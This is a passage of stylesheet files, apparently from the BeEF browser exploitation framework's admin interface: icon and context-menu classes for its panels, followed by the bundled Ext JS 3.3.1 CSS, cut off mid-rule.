no-repeat;\n}\n\n.zombie-tree-icon-browser-s {\n   background-image: url(../images/icons/safari.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-c {\n   background-image: url(../images/icons/chrome.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-o {\n   background-image: url(../images/icons/opera.ico) no-repeat;\n}\n\n.zombie-tree-icon-browser-mi {\n   background-image: url(../images/icons/midori.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-od {\n   background-image: url(../images/icons/odyssey.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-br {\n   background-image: url(../images/icons/brave.png) no-repeat;\n}\n\n.zombie-tree-icon-browser-unknown {\n   background-image: url(../images/icons/unknown.png) no-repeat;\n}\n\n/*\n * Zombie Tree Context Menu\n ****************************************/\n.zombie-tree-ctxMenu-proxy {\n   background-image: url(../images/icons/proxy.gif);\n}\n\n.zombie-tree-ctxMenu-xssrays {\n   background-image: url(../images/icons/xssrays.png);\n}\n\n.zombie-tree-ctxMenu-rtc {\n  background-image: url(../images/icons/network.png);\n  background-size: 24px 24px;\n  background-repeat: no-repeat;\n}\n\n.zombie-tree-ctxMenu-delete {\n   background-image: url(../images/icons/delete.png);\n   background-size: 32px 32px;\n   background-repeat: no-repeat;\n}\n\n/*\n * Network Panel\n ****************************************/\n.network-host-ctxMenu-config {\n   background-image: url(../images/icons/tools.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-host {\n   background-image: url(../images/icons/pc.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-network {\n   background-image: url(../images/icons/network.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-web {\n   background-image: url(../images/icons/web.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-adapter {\n   background-image: url(../images/icons/adapter.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-router {\n   background-image: url(../images/icons/router.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-proxy {\n   background-image: url(../images/icons/proxy.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-fingerprint {\n   background-image: url(../images/icons/magnifier.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-cors {\n   background-image: url(../images/icons/cors.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-flash {\n   background-image: url(../images/icons/flash.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-shellshock {\n   background-image: url(../images/icons/shellshock.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n.network-host-ctxMenu-php {\n   background-image: url(../images/icons/php.png);\n   background-size: 16px 16px;\n   background-repeat: no-repeat;\n}\n\n\n/*\n * Ext.beef.msg\n ****************************************/\n.msg .x-box-mc {\n    font-size:14px;\n}\n\n#msg-div {\n    position:absolute;\n    left:35%;\n    top:20px;\n    width:250px;\n    z-index:20000;\n}\n\n/*\n * Exploit Panel\n ****************************************/\n.x-form-item-label, .x-form-element {\n\tfont: 11px tahoma,arial,helvetica,sans-serif;\n}\n\n.command-module-panel-description {\n\tmargin-bottom: 10px;\n\tpadding-top: 4px;\n}\n\nlabel {\n\tfont: 11px tahoma,arial,helvetica,sans-serif;\n}\n"
  },
  {
    "path": "extensions/admin_ui/media/css/ext-all.css",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n/*!\n * Ext JS Library 3.3.1\n * Copyright(c) 2006-2010 Sencha Inc.\n * licensing@sencha.com\n * http://www.sencha.com/license\n */\nhtml,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}img,body,html{border:0;}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}ol,ul {list-style:none;}caption,th {text-align:left;}h1,h2,h3,h4,h5,h6{font-size:100%;}q:before,q:after{content:'';}\n\n.ext-forced-border-box, .ext-forced-border-box * {\n    -moz-box-sizing: border-box;\n    -ms-box-sizing: border-box;\n    -webkit-box-sizing: border-box;\n}\n.ext-el-mask {\n    z-index: 100;\n    position: absolute;\n    top:0;\n    left:0;\n    -moz-opacity: 0.5;\n    opacity: .50;\n    filter: alpha(opacity=50);\n    width: 100%;\n    height: 100%;\n    zoom: 1;\n}\n\n.ext-el-mask-msg {\n    z-index: 20001;\n    position: absolute;\n    top: 0;\n    left: 0;\n    border:1px solid;\n    background:repeat-x 0 -16px;\n    padding:2px;\n}\n\n.ext-el-mask-msg div {\n    padding:5px 10px 5px 10px;\n    border:1px solid;\n    cursor:wait;\n}\n\n.ext-shim {\n    position:absolute;\n    visibility:hidden;\n    left:0;\n    top:0;\n    overflow:hidden;\n}\n\n.ext-ie .ext-shim {\n    filter: alpha(opacity=0);\n}\n\n.ext-ie6 .ext-shim {\n    margin-left: 5px;\n    margin-top: 3px;\n}\n\n.x-mask-loading div {\n    padding:5px 10px 5px 25px;\n    background:no-repeat 5px 5px;\n    line-height:16px;\n}\n\n/* class for hiding elements without using display:none */\n.x-hidden, .x-hide-offsets {\n    position:absolute !important;\n    left:-10000px;\n    top:-10000px;\n    visibility:hidden;\n}\n\n.x-hide-display {\n    display:none !important;\n}\n\n.x-hide-nosize,\n.x-hide-nosize *    /* Emulate display:none for children */\n {\n   height:0px!important;\n   width:0px!important;\n   visibility:hidden!important;\n   border:none!important;\n   zoom:1;\n}\n\n.x-hide-visibility {\n    visibility:hidden !important;\n}\n\n.x-masked {\n    overflow: hidden !important;\n}\n.x-masked-relative {\n    position: relative !important;\n}\n\n.x-masked select, .x-masked object, .x-masked embed {\n    visibility: hidden;\n}\n\n.x-layer {\n    visibility: hidden;\n}\n\n.x-unselectable, .x-unselectable * {\n    -moz-user-select: none;\n    -khtml-user-select: none;\n    -webkit-user-select:ignore;\n}\n\n.x-repaint {\n    zoom: 1;\n    background-color: transparent;\n    -moz-outline: none;\n    outline: none;\n}\n\n.x-item-disabled {\n    cursor: default;\n    opacity: .6;\n    -moz-opacity: .6;\n    filter: alpha(opacity=60);\n}\n\n.x-item-disabled * {\n    cursor: default !important;\n}\n\n.x-form-radio-group .x-item-disabled {\n    filter: none;\n}\n\n.x-splitbar-proxy {\n    position: absolute;\n    visibility: hidden;\n    z-index: 20001;\n    zoom: 1;\n    line-height: 1px;\n    font-size: 1px;\n    overflow: hidden;\n}\n\n.x-splitbar-h, .x-splitbar-proxy-h {\n    cursor: e-resize;\n    cursor: col-resize;\n}\n\n.x-splitbar-v, .x-splitbar-proxy-v {\n    cursor: s-resize;\n    cursor: row-resize;\n}\n\n.x-color-palette {\n    width: 150px;\n    height: 92px;\n    cursor: pointer;\n}\n\n.x-color-palette a {\n    border: 1px solid;\n    float: left;\n    padding: 2px;\n    text-decoration: none;\n    -moz-outline: 0 none;\n    outline: 0 none;\n    cursor: pointer;\n}\n\n.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel {\n    border: 1px solid;\n}\n\n.x-color-palette em {\n    display: block;\n    border: 1px solid;\n}\n\n.x-color-palette em span {\n    cursor: pointer;\n    display: block;\n    height: 10px;\n    line-height: 10px;\n    width: 10px;\n}\n\n.x-ie-shadow {\n    display: none;\n    position: absolute;\n    overflow: hidden;\n    left:0;\n    top:0;\n    zoom:1;\n}\n\n.x-shadow {\n    display: none;\n    position: absolute;\n    overflow: hidden;\n    left:0;\n    top:0;\n}\n\n.x-shadow * {\n    overflow: hidden;\n}\n\n.x-shadow * {\n    padding: 0;\n    border: 0;\n    margin: 0;\n    clear: none;\n    zoom: 1;\n}\n\n/* top  bottom */\n.x-shadow .xstc, .x-shadow .xsbc {\n    height: 6px;\n    float: left;\n}\n\n/* corners */\n.x-shadow .xstl, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbr {\n    width: 6px;\n    height: 6px;\n    float: left;\n}\n\n/* sides */\n.x-shadow .xsc {\n    width: 100%;\n}\n\n.x-shadow .xsml, .x-shadow .xsmr {\n    width: 6px;\n    float: left;\n    height: 100%;\n}\n\n.x-shadow .xsmc {\n    float: left;\n    height: 100%;\n    background-color: transparent;\n}\n\n.x-shadow .xst, .x-shadow .xsb {\n    height: 6px;\n    overflow: hidden;\n    width: 100%;\n}\n\n.x-shadow .xsml {\n    background: transparent repeat-y 0 0;\n}\n\n.x-shadow .xsmr {\n    background: transparent repeat-y -6px 0;\n}\n\n.x-shadow .xstl {\n    background: transparent no-repeat 0 0;\n}\n\n.x-shadow .xstc {\n    background: transparent repeat-x 0 -30px;\n}\n\n.x-shadow .xstr {\n    background: transparent repeat-x 0 -18px;\n}\n\n.x-shadow .xsbl {\n    background: transparent no-repeat 0 -12px;\n}\n\n.x-shadow .xsbc {\n    background: transparent repeat-x 0 -36px;\n}\n\n.x-shadow .xsbr {\n    background: transparent repeat-x 0 -6px;\n}\n\n.loading-indicator {\n    background: no-repeat left;\n    padding-left: 20px;\n    line-height: 16px;\n    margin: 3px;\n}\n\n.x-text-resize {\n    position: absolute;\n    left: -1000px;\n    top: -1000px;\n    visibility: hidden;\n    zoom: 1;\n}\n\n.x-drag-overlay {\n    width: 100%;\n    height: 100%;\n    display: none;\n    position: absolute;\n    left: 0;\n    top: 0;\n    background-image:url(../images/default/s.gif);\n    z-index: 20000;\n}\n\n.x-clear {\n    clear:both;\n    height:0;\n    overflow:hidden;\n    line-height:0;\n    font-size:0;\n}\n\n.x-spotlight {\n    z-index: 8999;\n    position: absolute;\n    top:0;\n    left:0;\n    -moz-opacity: 0.5;\n    opacity: .50;\n    filter: alpha(opacity=50);\n    width:0;\n    height:0;\n    zoom: 1;\n}\n\n#x-history-frame {\n    position:absolute;\n    top:-1px;\n    left:0;\n\twidth:1px;\n    height:1px;\n    visibility:hidden;\n}\n\n#x-history-field {\n    position:absolute;\n    top:0;\n    left:-1px;\n\twidth:1px;\n    height:1px;\n    visibility:hidden;\n}\n.x-resizable-handle {\n    position:absolute;\n    z-index:100;\n    /* ie needs these */\n    font-size:1px;\n    line-height:6px;\n    overflow:hidden;\n\tfilter:alpha(opacity=0);\n\topacity:0;\n\tzoom:1;\n}\n\n.x-resizable-handle-east{\n    width:6px;\n    cursor:e-resize;\n    right:0;\n    top:0;\n    height:100%;\n}\n\n.ext-ie .x-resizable-handle-east {\n    margin-right:-1px; /*IE rounding error*/\n}\n\n.x-resizable-handle-south{\n    width:100%;\n    cursor:s-resize;\n    left:0;\n    bottom:0;\n    height:6px;\n}\n\n.ext-ie .x-resizable-handle-south {\n    margin-bottom:-1px; /*IE rounding error*/\n}\n\n.x-resizable-handle-west{\n    width:6px;\n    cursor:w-resize;\n    left:0;\n    top:0;\n    height:100%;\n}\n\n.x-resizable-handle-north{\n    width:100%;\n    cursor:n-resize;\n    left:0;\n    top:0;\n    height:6px;\n}\n\n.x-resizable-handle-southeast{\n    width:6px;\n    cursor:se-resize;\n    right:0;\n    bottom:0;\n    height:6px;\n    z-index:101;\n}\n\n.x-resizable-handle-northwest{\n    width:6px;\n    cursor:nw-resize;\n    left:0;\n    top:0;\n    height:6px;\n    z-index:101;\n}\n\n.x-resizable-handle-northeast{\n    width:6px;\n    cursor:ne-resize;\n    right:0;\n    top:0;\n    height:6px;\n    z-index:101;\n}\n\n.x-resizable-handle-southwest{\n    width:6px;\n    cursor:sw-resize;\n    left:0;\n    bottom:0;\n    height:6px;\n    z-index:101;\n}\n\n.x-resizable-over .x-resizable-handle, .x-resizable-pinned .x-resizable-handle{\n    filter:alpha(opacity=100);\n\topacity:1;\n}\n\n.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east,\n.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west\n{\n\tbackground-position: left;\n}\n\n.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south,\n.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north\n{\n    background-position: top;\n}\n\n.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{\n    background-position: top left;\n}\n\n.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{\n    background-position:bottom right;\n}\n\n.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{\n    background-position: bottom left;\n}\n\n.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{\n    background-position: top right;\n}\n\n.x-resizable-proxy{\n    border: 1px dashed;\n    position:absolute;\n    overflow:hidden;\n    display:none;\n\tleft:0;\n    top:0;\n    z-index:50000;\n}\n\n.x-resizable-overlay{\n    width:100%;\n\theight:100%;\n\tdisplay:none;\n\tposition:absolute;\n\tleft:0;\n\ttop:0;\n\tz-index:200000;\n\t-moz-opacity: 0;\n    opacity:0;\n    filter: alpha(opacity=0);\n}\n.x-tab-panel {\n    overflow:hidden;\n}\n\n.x-tab-panel-header, .x-tab-panel-footer {\n\tborder: 1px solid;\n    overflow:hidden;\n    zoom:1;\n}\n\n.x-tab-panel-header {\n\tborder: 1px solid;\n\tpadding-bottom: 2px;\n}\n\n.x-tab-panel-footer {\n\tborder: 1px solid;\n\tpadding-top: 2px;\n}\n\n.x-tab-strip-wrap {\n\twidth:100%;\n    overflow:hidden;\n    position:relative;\n    zoom:1;\n}\n\nul.x-tab-strip {\n\tdisplay:block;\n    width:5000px;\n    zoom:1;\n}\n\nul.x-tab-strip-top{\n\tpadding-top: 1px;\n\tbackground: repeat-x bottom;\n\tborder-bottom: 1px solid;\n}\n\nul.x-tab-strip-bottom{\n\tpadding-bottom: 1px;\n\tbackground: repeat-x top;\n\tborder-top: 1px solid;\n\tborder-bottom: 0 none;\n}\n\n.x-tab-panel-header-plain .x-tab-strip-top {\n    background:transparent !important;\n    padding-top:0 !important;\n}\n\n.x-tab-panel-header-plain {\n    background:transparent !important;\n    border-width:0 !important;\n    padding-bottom:0 !important;\n}\n\n.x-tab-panel-header-plain .x-tab-strip-spacer,\n.x-tab-panel-footer-plain .x-tab-strip-spacer {\n    border:1px solid;\n    height:2px;\n    font-size:1px;\n    line-height:1px;\n}\n\n.x-tab-panel-header-plain .x-tab-strip-spacer {\n    border-top: 0 none;\n}\n\n.x-tab-panel-footer-plain .x-tab-strip-spacer {\n    border-bottom: 0 none;\n}\n\n.x-tab-panel-footer-plain .x-tab-strip-bottom {\n    background:transparent !important;\n    padding-bottom:0 !important;\n}\n\n.x-tab-panel-footer-plain {\n    background:transparent !important;\n    border-width:0 !important;\n    padding-top:0 !important;\n}\n\n.ext-border-box .x-tab-panel-header-plain .x-tab-strip-spacer,\n.ext-border-box .x-tab-panel-footer-plain .x-tab-strip-spacer {\n    height:3px;\n}\n\nul.x-tab-strip li {\n    float:left;\n    margin-left:2px;\n}\n\nul.x-tab-strip li.x-tab-edge {\n    float:left;\n    margin:0 !important;\n    padding:0 !important;\n    border:0 none !important;\n    font-size:1px !important;\n    line-height:1px !important;\n    overflow:hidden;\n    zoom:1;\n    background:transparent !important;\n    width:1px;\n}\n\n.x-tab-strip a, .x-tab-strip span, .x-tab-strip em {\n\tdisplay:block;\n}\n\n.x-tab-strip a {\n\ttext-decoration:none !important;\n\t-moz-outline: none;\n\toutline: none;\n\tcursor:pointer;\n}\n\n.x-tab-strip-inner {\n    overflow:hidden;\n\ttext-overflow: ellipsis;\n}\n\n.x-tab-strip span.x-tab-strip-text {\n\twhite-space: nowrap;\n\tcursor:pointer;\n    padding:4px 0;\n}\n\n.x-tab-strip-top .x-tab-with-icon .x-tab-right {\n    padding-left:6px;\n}\n\n.x-tab-strip .x-tab-with-icon span.x-tab-strip-text {\n\tpadding-left:20px;\n    background-position: 0 3px;\n    background-repeat: no-repeat;\n}\n\n.x-tab-strip-active, .x-tab-strip-active a.x-tab-right {\n    cursor:default;\n}\n\n.x-tab-strip-active span.x-tab-strip-text {\n\tcursor:default;\n}\n\n.x-tab-strip-disabled .x-tabs-text {\n\tcursor:default;\n}\n\n.x-tab-panel-body {\n    overflow:hidden;\n}\n\n.x-tab-panel-bwrap {\n    overflow:hidden;\n}\n\n.ext-ie .x-tab-strip .x-tab-right {\n    position:relative;\n}\n\n.x-tab-strip-top .x-tab-strip-active .x-tab-right {\n    margin-bottom:-1px;\n}\n\n/*\n * Horrible hack for IE8 in quirks mode\n */\n.ext-ie8 .x-tab-strip li {\n    position: relative;\n}\n.ext-border-box .ext-ie8 .x-tab-strip-top .x-tab-right {\n    top: 1px;\n}\n.ext-ie8 .x-tab-strip-top {\n    padding-top: 1;\n}\n.ext-border-box .ext-ie8 .x-tab-strip-top {\n    padding-top: 0;\n}\n.ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close {\n    top:3px;\n}\n.ext-border-box .ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close {\n    top:4px;\n}\n.ext-ie8 .x-tab-strip-bottom .x-tab-right{\n    top:0;\n}\n\n\n.x-tab-strip-top .x-tab-strip-active .x-tab-right span.x-tab-strip-text {\n    padding-bottom:5px;\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-right {\n    margin-top:-1px;\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-right span.x-tab-strip-text {\n    padding-top:5px;\n}\n\n.x-tab-strip-top .x-tab-right {\n\tbackground: transparent no-repeat 0 -51px;\n    padding-left:10px;\n}\n\n.x-tab-strip-top .x-tab-left {\n\tbackground: transparent no-repeat right -351px;\n    padding-right:10px;\n}\n\n.x-tab-strip-top .x-tab-strip-inner {\n\tbackground: transparent repeat-x 0 -201px;\n}\n\n.x-tab-strip-top .x-tab-strip-over .x-tab-right {\n\t background-position:0 -101px;\n}\n\n.x-tab-strip-top .x-tab-strip-over .x-tab-left {\n\t background-position:right -401px;\n}\n\n.x-tab-strip-top .x-tab-strip-over .x-tab-strip-inner {\n\t background-position:0 -251px;\n}\n\n.x-tab-strip-top .x-tab-strip-active .x-tab-right {\n\tbackground-position: 0 0;\n}\n\n.x-tab-strip-top .x-tab-strip-active .x-tab-left {\n\tbackground-position: right -301px;\n}\n\n.x-tab-strip-top .x-tab-strip-active .x-tab-strip-inner {\n\tbackground-position: 0 -151px;\n}\n\n.x-tab-strip-bottom .x-tab-right {\n\tbackground: no-repeat bottom right;\n}\n\n.x-tab-strip-bottom .x-tab-left {\n\tbackground: no-repeat bottom left;\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-right {\n\tbackground: no-repeat bottom right;\n}\n\n.x-tab-strip-bottom .x-tab-strip-active .x-tab-left {\n\tbackground: no-repeat bottom left;\n}\n\n.x-tab-strip-bottom .x-tab-left {\n    margin-right: 3px;\n    padding:0 10px;\n}\n\n.x-tab-strip-bottom .x-tab-right {\n    padding:0;\n}\n\n.x-tab-strip .x-tab-strip-close {\n    display:none;\n}\n\n.x-tab-strip-closable {\n    position:relative;\n}\n\n.x-tab-strip-closable .x-tab-left {\n    padding-right:19px;\n}\n\n.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close {\n    opacity:.6;\n    -moz-opacity:.6;\n    background-repeat:no-repeat;\n    display:block;\n\twidth:11px;\n    height:11px;\n    position:absolute;\n    top:3px;\n    right:3px;\n    cursor:pointer;\n    z-index:2;\n}\n\n.x-tab-strip .x-tab-strip-active a.x-tab-strip-close {\n    opacity:.8;\n    -moz-opacity:.8;\n}\n.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{\n    opacity:1;\n    -moz-opacity:1;\n}\n\n.x-tab-panel-body {\n    border: 1px solid;\n}\n\n.x-tab-panel-body-top {\n    border-top: 0 none;\n}\n\n.x-tab-panel-body-bottom {\n    border-bottom: 0 none;\n}\n\n.x-tab-scroller-left {\n    background: transparent no-repeat -18px 0;\n    border-bottom: 1px solid;\n    width:18px;\n    position:absolute;\n    left:0;\n    top:0;\n    z-index:10;\n    cursor:pointer;\n}\n.x-tab-scroller-left-over {\n    background-position: 0 0;\n}\n\n.x-tab-scroller-left-disabled {\n    background-position: -18px 0;\n    opacity:.5;\n    -moz-opacity:.5;\n    filter:alpha(opacity=50);\n    cursor:default;\n}\n\n.x-tab-scroller-right {\n    background: transparent no-repeat 0 0;\n    border-bottom: 1px solid;\n    width:18px;\n    position:absolute;\n    right:0;\n    top:0;\n    z-index:10;\n    cursor:pointer;\n}\n\n.x-tab-scroller-right-over {\n    background-position: -18px 0;\n}\n\n.x-tab-scroller-right-disabled {\n    background-position: 0 0;\n    opacity:.5;\n    -moz-opacity:.5;\n    filter:alpha(opacity=50);\n    cursor:default;\n}\n\n.x-tab-scrolling-bottom .x-tab-scroller-left, .x-tab-scrolling-bottom .x-tab-scroller-right{\n    margin-top: 1px;\n}\n\n.x-tab-scrolling .x-tab-strip-wrap {\n    margin-left:18px;\n    margin-right:18px;\n}\n\n.x-tab-scrolling {\n    position:relative;    \n}\n\n.x-tab-panel-bbar .x-toolbar {\n    border:1px solid;\n    border-top:0 none;\n    overflow:hidden;\n    padding:2px;\n}\n\n.x-tab-panel-tbar .x-toolbar {\n    border:1px solid;\n    border-top:0 none;\n    overflow:hidden;\n    padding:2px;\n}/* all fields */\n.x-form-field{\n    margin: 0 0 0 0;\n}\n\n.ext-webkit *:focus{\n    outline: none !important;\n}\n\n/* ---- text fields ---- */\n.x-form-text, textarea.x-form-field{\n    padding:1px 3px;\n    background:repeat-x 0 0;\n    border:1px solid;\n}\n\ntextarea.x-form-field {\n    padding:2px 3px;\n}\n\n.x-form-text, .ext-ie .x-form-file {\n    height:22px;\n    line-height:18px;\n    vertical-align:middle;\n}\n\n.ext-ie6 .x-form-text, .ext-ie7 .x-form-text {\n    margin:-1px 0; /* ie bogus margin bug */\n    height:22px; /* ie quirks */\n    line-height:18px;\n}\n\n.ext-ie6 .x-form-field-wrap .x-form-file-btn, .ext-ie7 .x-form-field-wrap .x-form-file-btn {\n    top: -1px; /* because of all these margin hacks, these buttons are off by one pixel in IE6,7 */\n}\n\n.ext-ie6 textarea.x-form-field, .ext-ie7 textarea.x-form-field {\n    margin:-1px 0; /* ie bogus margin bug */\n}\n\n.ext-strict .x-form-text {\n    height:18px;\n}\n\n.ext-safari.ext-mac textarea.x-form-field {\n    margin-bottom:-2px; /* another bogus margin bug, safari/mac only */\n}\n\n/*\n.ext-strict .ext-ie8 .x-form-text, .ext-strict .ext-ie8 textarea.x-form-field {\n    margin-bottom: 1px;\n}\n*/\n\n.ext-gecko .x-form-text , .ext-ie8 .x-form-text {\n    padding-top:2px; /* FF won't center the text vertically */\n    padding-bottom:0;\n}\n\n.ext-ie6 .x-form-composite .x-form-text.x-box-item, .ext-ie7 .x-form-composite .x-form-text.x-box-item {\n    margin: 0 !important; /* clear ie bogus margin bug fix */\n}\n\ntextarea {\n    resize: none;  /* Disable browser resizable textarea */\n}\n\n/* select boxes */\n.x-form-select-one {\n    height:20px;\n    line-height:18px;\n    vertical-align:middle;\n    border: 1px solid;\n}\n\n/* multi select boxes */\n\n/* --- TODO --- */\n\n/* 2.0.2 style */\n.x-form-check-wrap {\n    line-height:18px;\n    height: auto;\n}\n\n.ext-ie .x-form-check-wrap input {\n    width:15px;\n    height:15px;\n}\n\n.x-form-check-wrap input{\n    vertical-align: bottom;\n}\n\n.x-editor .x-form-check-wrap {\n    padding:3px;\n}\n\n.x-editor .x-form-checkbox {\n    height:13px;\n}\n\n.x-form-check-group-label {\n    border-bottom: 1px solid;\n    margin-bottom: 5px;\n    padding-left: 3px !important;\n    float: none !important;\n}\n\n/* wrapped fields and triggers */\n.x-form-field-wrap .x-form-trigger{\n    width:17px;\n    height:21px;\n    border:0;\n    background:transparent no-repeat 0 0;\n    cursor:pointer;\n    border-bottom: 1px solid;\n    position:absolute;\n    top:0;\n}\n\n.x-form-field-wrap .x-form-date-trigger, .x-form-field-wrap .x-form-clear-trigger, .x-form-field-wrap .x-form-search-trigger{\n    cursor:pointer;\n}\n\n.x-form-field-wrap .x-form-twin-triggers .x-form-trigger{\n    position:static;\n    top:auto;\n    vertical-align:top;\n}\n\n.x-form-field-wrap {\n    position:relative;\n    left:0;top:0;\n    text-align: left;\n    zoom:1;\n    white-space: nowrap;\n}\n\n.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-trigger {\n    right: 0; /* IE8 Strict mode trigger bug */\n}\n\n.x-form-field-wrap .x-form-trigger-over{\n    background-position:-17px 0;\n}\n\n.x-form-field-wrap .x-form-trigger-click{\n    background-position:-34px 0;\n}\n\n.x-trigger-wrap-focus .x-form-trigger{\n    background-position:-51px 0;\n}\n\n.x-trigger-wrap-focus .x-form-trigger-over{\n    background-position:-68px 0;\n}\n\n.x-trigger-wrap-focus .x-form-trigger-click{\n    background-position:-85px 0;\n}\n\n.x-trigger-wrap-focus .x-form-trigger{\n    border-bottom: 1px solid;\n}\n\n.x-item-disabled .x-form-trigger-over{\n    background-position:0 0 !important;\n    border-bottom: 1px solid;\n}\n\n.x-item-disabled .x-form-trigger-click{\n    background-position:0 0 !important;\n    border-bottom: 1px solid;\n}\n\n.x-trigger-noedit{\n    cursor:pointer;\n}\n\n/* field focus style */\n.x-form-focus, textarea.x-form-focus{\n    border: 1px solid;\n}\n\n/* invalid fields */\n.x-form-invalid, textarea.x-form-invalid{\n    background:repeat-x bottom;\n    border: 1px solid;\n}\n\n.x-form-inner-invalid, textarea.x-form-inner-invalid{\n    background:repeat-x bottom;\n}\n\n/* editors */\n.x-editor {\n    visibility:hidden;\n    padding:0;\n    margin:0;\n}\n\n.x-form-grow-sizer {\n    left: -10000px;\n    padding: 8px 3px;\n    position: absolute;\n    visibility:hidden;\n    top: -10000px;\n    white-space: pre-wrap;\n    white-space: -moz-pre-wrap;\n    white-space: -pre-wrap;\n    white-space: -o-pre-wrap;\n    word-wrap: break-word;\n    zoom:1;\n}\n\n.x-form-grow-sizer p {\n    margin:0 !important;\n    border:0 none !important;\n    padding:0 !important;\n}\n\n/* Form Items CSS */\n\n.x-form-item {\n    display:block;\n    margin-bottom:4px;\n    zoom:1;\n}\n\n.x-form-item label.x-form-item-label {\n    display:block;\n    float:left;\n    width:100px;\n    padding:3px;\n    padding-left:0;\n    clear:left;\n    z-index:2;\n    position:relative;\n}\n\n.x-form-element {\n    padding-left:105px;\n    position:relative;\n}\n\n.x-form-invalid-msg {\n    padding:2px;\n    padding-left:18px;\n    background: transparent no-repeat 0 2px;\n    line-height:16px;\n    width:200px;\n}\n\n.x-form-label-left label.x-form-item-label {\n   text-align:left;\n}\n\n.x-form-label-right label.x-form-item-label {\n   text-align:right;\n}\n\n.x-form-label-top .x-form-item label.x-form-item-label {\n    width:auto;\n    float:none;\n    clear:none;\n    display:inline;\n    margin-bottom:4px;\n    position:static;\n}\n\n.x-form-label-top .x-form-element {\n    padding-left:0;\n    padding-top:4px;\n}\n\n.x-form-label-top .x-form-item {\n    padding-bottom:4px;\n}\n\n/* Editor small font for grid, toolbar and tree */\n.x-small-editor .x-form-text {\n    height:20px;\n    line-height:16px;\n    vertical-align:middle;\n}\n\n.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text {\n    margin-top:-1px !important; /* ie bogus margin bug */\n    margin-bottom:-1px !important;\n    height:20px !important; /* ie quirks */\n    line-height:16px !important;\n}\n\n.ext-strict .x-small-editor .x-form-text {\n    height:16px !important;\n}\n\n.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text {\n    height:20px;\n    line-height:16px;\n}\n\n.ext-border-box .x-small-editor .x-form-text {\n    height:20px;\n}\n\n.x-small-editor .x-form-select-one {\n    height:20px;\n    line-height:16px;\n    vertical-align:middle;\n}\n\n.x-small-editor .x-form-num-field {\n    text-align:right;\n}\n\n.x-small-editor .x-form-field-wrap .x-form-trigger{\n    height:19px;\n}\n\n.ext-webkit .x-small-editor .x-form-text{padding-top:3px;font-size:100%;}\n\n.x-form-clear {\n    clear:both;\n    height:0;\n    overflow:hidden;\n    line-height:0;\n    font-size:0;\n}\n.x-form-clear-left {\n    clear:left;\n    height:0;\n    overflow:hidden;\n    line-height:0;\n    font-size:0;\n}\n\n.ext-ie6 .x-form-check-wrap input, .ext-border-box .x-form-check-wrap input{\n   margin-top: 3px;\n}\n\n.x-form-cb-label {\n    position: relative;\n    margin-left:4px;\n    top: 2px;\n}\n\n.ext-ie .x-form-cb-label{\n    top: 1px;\n}\n\n.ext-ie6 .x-form-cb-label, .ext-border-box .x-form-cb-label{\n    top: 3px;\n}\n\n.x-form-display-field{\n    padding-top: 2px;\n}\n\n.ext-gecko .x-form-display-field, .ext-strict .ext-ie7 .x-form-display-field{\n    padding-top: 1px;\n}\n\n.ext-ie .x-form-display-field{\n    padding-top: 3px;\n}\n\n.ext-strict .ext-ie8 .x-form-display-field{\n    padding-top: 0;\n}\n\n.x-form-column {\n    float:left;\n    padding:0;\n    margin:0;\n    width:48%;\n    overflow:hidden;\n    zoom:1;\n}\n\n/* buttons */\n.x-form .x-form-btns-ct .x-btn{\n    float:right;\n    clear:none;\n}\n\n.x-form .x-form-btns-ct .x-form-btns td {\n    border:0;\n    padding:0;\n}\n\n.x-form .x-form-btns-ct .x-form-btns-right table{\n    float:right;\n    clear:none;\n}\n\n.x-form .x-form-btns-ct .x-form-btns-left table{\n    float:left;\n    clear:none;\n}\n\n.x-form 